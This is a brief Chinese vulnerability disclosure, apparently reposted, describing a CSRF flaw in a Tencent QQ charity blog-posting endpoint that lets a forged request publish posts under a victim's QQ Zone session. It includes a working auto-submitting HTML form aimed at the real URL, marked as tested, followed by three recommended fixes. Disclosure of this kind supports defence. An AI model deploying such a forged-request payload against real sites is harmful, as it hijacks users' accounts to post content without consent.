QQ公益未做认证导致CSRF蠕虫
http://npoapp.gongyi.qq.com/blog/add
未做认证导致CSRF蠕虫
只要存有QQ空间的Cookie就可以提交blog发表到QQ空间。
<form id="Test" name="Test" action="http://npoapp.gongyi.qq.com/blog/add" method="POST">
<input type="text" name="content" value="test" />
<input type="text" name="title" value="Test" />
<input type="submit" value="submit" />
</form>
<script>
document.Test.submit();
</script>
测试有效
修复方案:
1、 验证HTTP Referer字段
2、在请求地址中添加token并验证
3、在HTTP头中自定义属性并验证
版权与免责声明:
凡注明稿件来源的内容均为转载稿或由网友用户注册发布,本网转载出于传递更多信息的目的;如转载稿涉及版权问题,请作者联系我们,同时对于用户评论等信息,本网并不意味着赞同其观点或证实其内容的真实性;